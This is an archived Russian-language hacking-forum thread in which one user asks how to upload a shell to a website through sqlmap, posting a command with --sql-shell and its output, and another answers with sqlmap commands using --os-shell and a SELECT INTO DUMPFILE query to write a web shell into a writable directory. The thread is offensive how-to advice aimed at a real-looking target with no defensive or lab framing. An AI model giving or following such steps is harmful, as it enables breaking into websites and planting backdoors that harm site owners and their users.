PDA

Просмотр полной версии : sqlmap shell


Groove
04.08.2019, 14:04
Подскажите как залить shell через sqlmap ?


Code:
sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell

Выдало


Code:
[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )

BabaDook
04.08.2019, 15:05
Groove said:
↑ (https://antichat.live/posts/4323277/)
Подскажите как залить shell через sqlmap ?

Code:
sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell

Выдало

Code:
[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )


Ну, первое sqlmap.py -u https://site.ru --random-agent os-shell дальше указываешь архитектуру, и путь до папки записи.

или если твой вариант sqlmap.py -u https://site.ru --random-agent --sql-shell "select into dumpfile '''путь до шелла'"